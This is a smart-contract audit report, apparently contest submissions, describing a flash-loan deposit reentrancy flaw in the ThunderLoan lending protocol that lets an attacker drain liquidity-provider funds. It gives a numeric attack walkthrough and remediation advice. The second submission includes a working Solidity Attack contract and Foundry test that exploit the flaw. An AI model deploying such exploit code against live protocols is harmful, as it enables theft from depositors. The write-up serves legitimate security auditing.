ThunderLoan.flashloan transfers inventory to the receiver, then invokes executeOperation while s_currentlyFlashLoaning[token] is set. That flag is only consulted by repay. deposit and redeem ignore it, and there is no ReentrancyGuard.
A receiver can therefore **deposit amount + fee during the callback** instead of calling repay. deposit mints floor(amount * 1e18 / s_exchangeRate) AssetToken shares against tokens that still back existing LP shares, then transfers those same tokens into the AssetToken vault. After the callback, the vault balance still satisfies the flash-loan snapshot check (endingBalance >= startingBalance + fee). The attacker then redeems the newly minted shares using the exchange-rate formula (not pro-rata inventory / supply) and walks away with essentially all of the vault’s underlying. Honest LPs’ remaining shares cannot be redeemed: AssetToken.transferUnderlyingTo reverts for lack of inventory.
This is Critical: theft of nearly all LP underlying plus permanent insolvency of leftover shares. No privileged role is required — any IFlashLoanReceiver that can fund the 0.3% fee can execute the attack.
flashloan (around line 147) does the following:
Accrues the flash-loan fee into s_exchangeRate via updateExchangeRate(fee).
Records startingBalance = token.balanceOf(address(assetToken)).
Sets s_currentlyFlashLoaning[token] = true.
Sends amount of T to the receiver (transferUnderlyingTo).
Address.functionCalls executeOperation(...).
Requires token.balanceOf(assetToken) >= startingBalance + fee.
Clears the flag.
The only function that reads s_currentlyFlashLoaning is repay, which is an optional convenience path. deposit never checks the flag. It:
mints floor(amount * 1e18 / s_exchangeRate) shares to msg.sender,
calls updateExchangeRate(getCalculatedFee(token, amount)) (extra fee inflation on the original implementation),
pulls amount of T into the AssetToken contract.
So the same tokens that were flash-loaned out can be deposited back in. They count both as:
newly minted attacker shares, and
the raw balance that satisfies the ending-balance check.
redeem pays floor(shares * s_exchangeRate / 1e18) — a rate-based payout, not inventory * shares / totalSupply. Whoever redeems first claims a fixed amount of T regardless of how many unbacked shares exist. The attacker exits first and empties the vault.
Existing checks fail for three independent reasons:
There is no ReentrancyGuard on flashloan / deposit / redeem.
s_currentlyFlashLoaning is not a mutex on deposit or redeem.
Repayment is a balance snapshot, not dedicated repay() accounting. Any path that puts amount + fee of T back into A looks like a successful repay — including a deposit that mints shares.
After the attack:
A = s_tokenToAssetToken[T] still holds.
A.balanceOf(HonestLP) = 1000e18 (shares > 0) still holds.
IERC20(T).balanceOf(A) = 1 wei.
floor(1e18 * s_exchangeRate / 1e18) = 1007524807450945082, so any honest redeem of even 1 share reverts in AssetToken.transferUnderlyingTo.
T is a standard ERC-20.
getPriceInWeth(T) > 0 so getCalculatedFee is nonzero (otherwise updateExchangeRate reverts).
Owner has setAllowedToken(T, true) and an honest LP has deposited.
On ThunderLoanUpgraded, deposit omits the extra fee inflation, so redeem(type(uint256).max) pays exactly 1003e18 and leaves inventory at 0. The original contract’s extra updateExchangeRate during the callback deposit slightly reduces the redeemable amount (attacker leaves ~1.5e18 leftover shares and 1 wei of T).
Confirmed by executed Foundry test FlashloanDepositRedeemInsolvencyTest.
Fixture
ThunderLoan behind an ERC-1967 proxy, initialize(tswap).
MockTSwapPool with priceInWeth = 1e18.
s_flashLoanFee = 3e15 (0.3%).
Owner: setAllowedToken(tokenA, true) → deploys AssetToken A with s_exchangeRate = 1e18.
HonestLP: deposit(tokenA, 1000e18) → mints 1000e18 shares, updateExchangeRate(3e18) sets s_exchangeRate = 1003000000000000000, transfers 1000e18 T to A.
Attacker contract (IFlashLoanReceiver) is pre-funded with 3e18 T and approves ThunderLoan for 1003e18.
Sequence
Attacker calls ThunderLoan.flashloan(AttackerContract, T, 1000e18, "").
flashloan runs updateExchangeRate(3e18) → s_exchangeRate = 1006009000000000000, sets the flag, sends 1000e18 T to the attacker.
In executeOperation, attacker calls ThunderLoan.deposit(T, 1003e18):
mints 997008973080757726819 unbacked A shares,
updateExchangeRate(3009000000000000000) → s_exchangeRate = 1007524807450945082,
transfers 1003e18 T into A.
flashloan sees token.balanceOf(A) = 1003e18 >= startingBalance + fee, clears the flag, returns.
Attacker calls redeem(T, 995508986560447159713) and receives 1002999999999999999999 T, leaving IERC20(T).balanceOf(A) = 1.
HonestLP redeem(T, 1e18) or redeem(T, type(uint256).max) reverts in AssetToken.transferUnderlyingTo.
Result (original ThunderLoan)
| Metric | Value |
|---|---|
| Final exchange rate | 1007524807450945082 |
| Attacker redeemed shares | 995508986560447159713 |
| Attacker received T | 1002999999999999999999 |
| Net profit | 999999999999999999999 T (against 3e18 fee capital) |
| Leftover attacker shares | 1499986520310567106 |
| Vault inventory | 1 wei |
| Honest redeem | reverts |
On ThunderLoanUpgraded, deposit does not inflate the rate again, so redeem(max) pays exactly 1003e18 and leaves inventory at 0.
Malicious actor
Any contract implementing IFlashLoanReceiver that can fund the 0.3% flash-loan fee in T (3e18 per 1000e18 inventory at priceInWeth = 1e18). No privileged role required.
Critical. The attacker steals essentially all of token T sitting in AssetToken A (honest LP deposits plus the fee they themselves funded). Remaining AssetToken shares — honest LPs and any leftover attacker dust — are permanently insolvent: redeem reverts because the vault has 0–1 wei of underlying while the exchange-rate payout for even 1e18 shares is ~1.007e18 T.
The protocol’s core invariant — “AssetToken shares are fully backed by vault inventory at s_exchangeRate” — is broken. Liquidity providers lose principal. The pool cannot recover without an admin injection of T (and even then, leftover unbacked shares distort the rate).
Scale is linear in pool size: the same pattern against N of inventory, funded with 0.3% * N of fee capital, drains ~N of honest liquidity.
Treat the flash-loan callback as a closed repayment window. Concretely:
**Add nonReentrant** (ReentrancyGuard) on flashloan, deposit, redeem, and repay.
Mutex deposit (and redeem) while a flash loan is in flight. In deposit / redeem, revert if s_currentlyFlashLoaning[token] is true. The flag already exists; it must actually gate state-changing paths, not only repay.
Do not accept a raw balance snapshot as repayment. Require the receiver to call repay(token, amount + fee) (or credit an internal amountOwed that only repay clears). Tokens arriving via deposit must not satisfy the flash-loan debt.
Optionally switch redeem to pro-rata inventory (inventory * shares / totalSupply) so unbacked minting cannot empty the vault ahead of other shareholders. This is defense-in-depth; the primary fix is still blocking deposit during the callback and requiring dedicated repay accounting.
A minimal patch is: revert in deposit (and redeem) when s_currentlyFlashLoaning[token], plus nonReentrant on the public entry points. That alone stops this exploit.
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.